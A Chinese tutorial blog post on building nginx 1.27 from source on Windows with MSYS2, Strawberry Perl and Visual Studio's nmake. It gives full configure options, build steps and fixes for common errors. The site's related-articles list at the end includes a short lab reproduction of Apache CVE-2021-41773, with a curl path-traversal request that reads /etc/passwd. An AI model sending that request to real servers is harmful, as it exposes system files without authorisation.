Windows下利用MSYS2和VS的nmake编译nginx源码

目录

一、使用说明

二、安装软件

2.1 下载依赖库

2.3 下载并安装 StrawberryPerl

2.4 下载并安装 MSYS 2

2.5 nginx源代码下载 

三、编译配置

3.1 设置NGX_MSVC_VER

3.2 配置 Makefile

3.3 编译代码

3.4 整理Nginx发布环境

四、错误处理


一、使用说明

本文章主要记录Windows下利用MSYS2和VS的nmake编译nginx源码。

这是Nginx官方说明 https://nginx.org/en/docs/howto_build_on_win32.html

To build nginx on the Microsoft Win32® platform you need:

  • Microsoft Visual C compiler. Microsoft Visual Studio® 8 and 10 are known to work.
  • MSYS or MSYS2.
  • Perl, if you want to build OpenSSL® and nginx with SSL support. For example ActivePerl or Strawberry Perl.
  • Git client.
  • PCRE, zlib and OpenSSL libraries sources.

需要安装软件Visual Studio 2022 (一定要包含C++ x64/x86 生成工具,需要通过nmake执行编译)

Openssl:实现安全套接字ssl功能

Pcre:实现正则表达式解析

Zlib:实现gzip压缩解压缩功能

二、安装软件
2.1 下载依赖库

zlib源代码下载

https://zlib.net/ 

PCRE源代码  

https://sourceforge.net/projects/pcre/files/pcre/

openssl源代码下载 https://github.com/openssl/openssl/releases/tag/openssl-3.3.2

2.3 下载并安装 StrawberryPerl

因为需要编译 OpenSSL, 需要使用 perl 进行配置

下载地址: https://strawberryperl.com/

默认安装到结束

2.4 下载并安装 MSYS 2

在编译阶段用作配置 Makefile  下载地址:https://www.msys2.org/

全部默认安装

2.5 nginx源代码下载 

地址 https://hg.nginx.org/nginx

点左侧ZIP进行下载

将文件解压,在nginx源码根目录下创建objs文件夹,再在objs下创建lib文件夹,结构如下图

将pcre-8.45.zip、zlib131.zip、openssl-openssl-3.3.2.zip解压到刚刚的lib目录

三、编译配置
3.1 设置NGX_MSVC_VER

如果不指定版本会在配置时出现报错auto/cc/msvc: line 132: [: : integer expression expected

需要根据你自己的实际vs版本号填写,只有填写成功,后面nmake才能编译成功。修改nginx\auto\cc下的msvc文件,指定NGX_MSVC_VER版本号,我vs是2022,所以是1930

3.2 配置 Makefile

使用 msys2 的任意环境进入 nginx 源码目录

从开始菜单打开安装的msys2 msys

进入到nginx源码根目录下

cd /c/sourcecode/nginx

 执行以下命令,用于生成适用于 MSVC 的 Makefile

输入如下配置命令后回车:(注意pcre,zlib,openssl版本要与你实际的文件夹一致)

auto/configure \--with-cc=cl \--prefix= \--conf-path=conf/nginx.conf \--pid-path=logs/nginx.pid \--http-log-path=logs/access.log \--error-log-path=logs/error.log \--sbin-path=nginx.exe \--http-client-body-temp-path=temp/client_body_temp \--http-proxy-temp-path=temp/proxy_temp \--http-fastcgi-temp-path=temp/fastcgi_temp \--http-scgi-temp-path=temp/scgi_temp \--http-uwsgi-temp-path=temp/uwsgi_temp \--with-cc-opt=-DFD_SETSIZE=32768 \--with-pcre=objs/lib/pcre-8.45 \--with-zlib=objs/lib/zlib-1.3.1 \--with-openssl=objs/lib/openssl-3.3.2 \--with-openssl-opt='no-asm no-tests -D_WIN32_WINNT=0x0601' \--with-http_ssl_module \--with-http_v2_module \--with-http_realip_module \--with-http_addition_module \--with-http_sub_module \--with-http_stub_status_module \--with-http_dav_module \--with-http_flv_module \--with-http_mp4_module \--with-http_gunzip_module \--with-http_gzip_static_module \--with-http_auth_request_module \--with-http_random_index_module \--with-http_secure_link_module \--with-http_slice_module \--with-mail \--with-mail_ssl_module \--with-stream \--with-stream_ssl_module \--with-stream_ssl_preread_module

执行成功,会出现以下界面 

Administrator@DESKTOP-0JFTJUC MSYS /c/sourcecode/nginx
# auto/configure \--with-cc=cl \--prefix= \--conf-path=conf/nginx.conf \--pid-path=logs/nginx.pid \--http-log-path=logs/access.log \--error-log-path=logs/error.log \--sbin-path=nginx.exe \--http-client-body-temp-path=temp/client_body_temp \--http-proxy-temp-path=temp/proxy_temp \--http-fastcgi-temp-path=temp/fastcgi_temp \--http-scgi-temp-path=temp/scgi_temp \--http-uwsgi-temp-path=temp/uwsgi_temp \--with-cc-opt=-DFD_SETSIZE=32768 \--with-pcre=objs/lib/pcre-8.45 \--with-zlib=objs/lib/zlib-1.3.1 \--with-openssl=objs/lib/openssl-3.3.2 \--with-openssl-opt='no-asm no-tests -D_WIN32_WINNT=0x0601' \--with-http_ssl_module \--with-http_v2_module \--with-http_realip_module \--with-http_addition_module \--with-http_sub_module \--with-http_stub_status_module \--with-http_dav_module \--with-http_flv_module \--with-http_mp4_module \--with-http_gunzip_module \--with-http_gzip_static_module \--with-http_auth_request_module \--with-http_random_index_module \--with-http_secure_link_module \--with-http_slice_module \--with-mail \--with-mail_ssl_module \--with-stream \--with-stream_ssl_module \--with-stream_ssl_preread_module
checking for OS+ MSYS_NT-10.0-19045 3.5.3-d8b21b8c.x86_64 x86_64+ using Microsoft Visual C++ compiler+ cl version: 1930
checking for MSYS_NT-10.0-19045 specific features
creating objs/MakefileConfiguration summary+ using PCRE library: objs/lib/pcre-8.45+ using OpenSSL library: objs/lib/openssl-3.3.2+ using zlib library: objs/lib/zlib-1.3.1nginx path prefix: ""nginx binary file: "/nginx.exe"nginx modules path: "/modules"nginx configuration prefix: "/conf"nginx configuration file: "/conf/nginx.conf"nginx pid file: "/logs/nginx.pid"nginx error log file: "/logs/error.log"nginx http access log file: "/logs/access.log"nginx http client request body temporary files: "temp/client_body_temp"nginx http proxy temporary files: "temp/proxy_temp"nginx http fastcgi temporary files: "temp/fastcgi_temp"nginx http uwsgi temporary files: "temp/uwsgi_temp"nginx http scgi temporary files: "temp/scgi_temp"Administrator@DESKTOP-0JFTJUC MSYS /c/sourcecode/nginx

可以看到根目录下的objs下已经生成了makefile文件

3.3 编译代码

以管理员方式打开VS对应的 X64 Native Tools Command … for VS 2022

进入到nginx根目录,输入如下命令后回车

nmake -f objs/Makefile

 就开始编译

等待编译完成,会在 nginx/objs/ 文件夹内出现 nginx.exe

至此,Nginx编译完成。打开objs目录,显示如下

3.4 整理Nginx发布环境

nginx.exe运行依赖同级目录下存在conf、html、logs、temp目录及配置文件,否则无法启动。将源码目录下的conf、contrib、html、logs、temp和objs\nginx.exe整理到一个目录下。

启动nginx.exe,一个nginx服务器就搭建起来了,运行截图  

看生成的nginx编译信息  nginx -V

C:\nginx>nginx -V
nginx version: nginx/1.27.2
built by cl 1930
built with OpenSSL 3.3.2 3 Sep 2024
TLS SNI support enabled
configure arguments: --with-cc=cl --prefix= --conf-path=conf/nginx.conf --pid-path=logs/nginx.pid --http-log-path=logs/access.log --error-log-path=logs/error.log --sbin-path=nginx.exe --http-client-body-temp-path=temp/client_body_temp --http-proxy-temp-path=temp/proxy_temp --http-fastcgi-temp-path=temp/fastcgi_temp --http-scgi-temp-path=temp/scgi_temp --http-uwsgi-temp-path=temp/uwsgi_temp --with-cc-opt=-DFD_SETSIZE=32768 --with-pcre=objs/lib/pcre-8.45 --with-zlib=objs/lib/zlib-1.3.1 --with-openssl=objs/lib/openssl-3.3.2 --with-openssl-opt='no-asm no-tests -D_WIN32_WINNT=0x0601' --with-http_ssl_module --with-http_v2_module --with-http_realip_module --with-http_addition_module --with-http_sub_module --with-http_stub_status_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_auth_request_module --with-http_random_index_module --with-http_secure_link_module --with-http_slice_module --with-mail --with-mail_ssl_module --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module
四、错误处理

4.1 auto/cc/msvc: line 132: [: : integer expression expected

这里报错原因是msvc版本缺失,无法自动识别,根据3.1章节进行设置

4.2 找不到VS带的X64 Native Tools Command … for VS xxxx

检查VS安装是否包含了C++ x64/x86 生成工具。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/430762.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

spring boot启动报错:so that it conforms to the canonical names requirements

springboot 2.x的版本中对配置文件中的命名规范有了强制性的要求,如下图所示中的dataSource属性属于驼峰格式,但是在springboot 2.x中不允许使用驼峰形式。 根据错误提示可知将其使用 - 来分割即可 错误信息的含义:“Canonical names should…

MySQL的msi版本9.0在安装过程总结和需要注意的地方

下载 参考文档 [官方包快速下载](https://dev.mysql.com/downloads/mysql/) 使用zip文件安装可参考,这种直接把zip安装包解压到想要放的地方,并安装其中的方式一步步修改数据地址等配置即可。 个人使用了msi的安装文件 msi版本…

Kafka 3.0.0集群部署教程

1、集群规划 主机名 ip地址 node.id process.roles kafka1 192.168.0.29 1 broker,controller Kafka2 192.168.0.30 2 broker,controller Kafka3 192.168.0.31 3 broker,controller 2、将kafka包上传以上节点/app目录下 mkdir /app 3、解压kafka包 所有节点 …

JavaWeb--纯小白笔记06:使用Idea创建Web项目,Servlet生命周期,注解,中文乱码解决

使用Idea创建一个web项目----详细步骤配置,传送门:http://t.csdnimg.cn/RsOs7 src:放class文件 web:放html文件 out:运行过后产生的文件 一创建一个新的web项目(配置好了后): 在src创建一个文件…

NVIDIA发布端到端自动驾驶框架Hydra-MDP

自动驾驶是目前人工智能领域的一个主要分支,目前特斯拉的FSD确实是为数不多的大模型框架。与其说特斯拉是一个造车公司,不如说是一个人工智能大数据公司。特斯拉每天靠行驶在道路上的汽车搜集的道路数据不胜其数,而拥有海量的数据是人工智能领…

001.从0开始实现线性回归(pytorch)

000动手从0实现线性回归 0. 背景介绍 我们构造一个简单的人工训练数据集,它可以使我们能够直观比较学到的参数和真实的模型参数的区别。 设训练数据集样本数为1000,输入个数(特征数)为2。给定随机生成的批量样本特征 X∈R10002 …

第十四届蓝桥杯嵌入式国赛

一. 前言 本篇博客主要讲述十四届蓝桥杯嵌入式的国赛题目,包括STM32CubeMx的相关配置以及相关功能实现代码以及我在做题过程中所遇到的一些问题和总结收获。如果有兴趣的伙伴还可以去做做其它届的真题,可去 蓝桥云课 上搜索历届真题即可。 二. 题目概述 …

论文阅读与分析:Few-Shot Graph Learning for Molecular Property Prediction

论文阅读与分析:Few-Shot Graph Learning for Molecular Property Prediction 论文地址和代码地址1 摘要2 主要贡献3 基础知识Meta Learning1 介绍2 学习算法Step 1: What is learnable in a learning algorithm?Step 2:Define loss function for learn…

基于C语言开发(控制台)通讯录管理程序

通讯录程序设计 一、课程设计题目与要求 题目 :通讯录管理程序 1. 问题描述 编写一个简单的通讯录管理程序。通讯录记录有姓名,地址(省、市(县)、街道),电话号码,邮政编码等四项。2. 基本要求 程序应提供的基本基本管理功能有…

众数信科AI智能体政务服务解决方案——寻知智能笔录系统

政务服务解决方案 寻知智能笔录方案 融合民警口供录入与笔录生成需求 2分钟内生成笔录并提醒错漏 助办案人员二次询问 提升笔录质量和效率 寻知智能笔录系统 众数信科AI智能体 产品亮点 分析、理解行业知识和校验规则 AI实时提醒用户文书需注意部分 全文校验格式、内…

领域驱动DDD三种架构-分层架构、洋葱架构、六边形架构

博主介绍: 大家好,我是Yuperman,互联网宇宙厂经验,17年医疗健康行业的码拉松奔跑者,曾担任技术专家、架构师、研发总监负责和主导多个应用架构。 技术范围: 目前专注java体系,以及golang、.Net、…

(1999-2018年)全国各城市-财政收入–营业税

涵盖了1999年至2018年间,全国各城市的财政收入中营业税的部分。数据来源于中国区域统计年鉴及各省市统计年鉴 1999-2018年全国各城市-财政收入-营业税资源-CSDN文库https://download.csdn.net/download/2401_84585615/89504622 不同行业对营业税的贡献也存在差异。…

电动车车牌识别系统源码分享

电动车车牌识别检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer V…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

智能新突破:AIOT 边缘计算网关让老旧水电表图像识别

数字化高速发展的时代,AIOT(人工智能物联网)技术正以惊人的速度改变着我们的生活和工作方式。而其中,AIOT 边缘计算网关凭借其强大的功能,成为了推动物联网发展的关键力量。 这款边缘计算网关拥有令人瞩目的 1T POS 算…

自驾游拼团系统小程序的设计

管理员账户功能包括:系统首页,个人中心,用户管理,发布起人管理,景点信息管理,景点分类管理,拼团旅游管理,参团信息管理,拼团订单管理,系统管理 微信端账号功…

11. DPO 微调示例:根据人类偏好优化LLM大语言模型

在部署大模型之后,我们必然要和微调打交道。现在大模型的微调有非常多的方法,过去的文章中提到的微调方法通常依赖于问题和答案对,标注成本较高。 2023 年所提出的 Direct Preference Optimization(DPO)为我们提供了一…

C语言----指针

基本知识点:指针的定义、指针运算符和指针运算等基本概念。重 点:字符指针、指针数组和多级指针。难 点:利用指针类型解决复杂的应用问题。 指针的概念 要点归纳 1.指针变量 在计算机中,所有数据都通过变量存放在内存中,每个变量都…

【matlab】将程序打包为exe文件(matlab r2023a为例)

文章目录 一、安装运行时环境1.1 安装1.2 简介 二、打包三、打包文件为什么很大 一、安装运行时环境 使用 Application Compiler 来将程序打包为exe,相当于你使用C编译器把C语言编译成可执行程序。 在matlab菜单栏–App下面可以看到Application Compiler。 或者在…

啤酒过滤——关于过滤助剂的介绍

在啤酒的酿造过程中,过滤是一个关键步骤,在啤酒厂中最常用的过滤助剂主要有两种:硅藻土和珍珠岩。它们能够帮助去除杂质,确保啤酒的清澈和口感。过滤助剂通常以粉状形式存在,它们被涂抹在过滤机的支撑材料上&#xff0…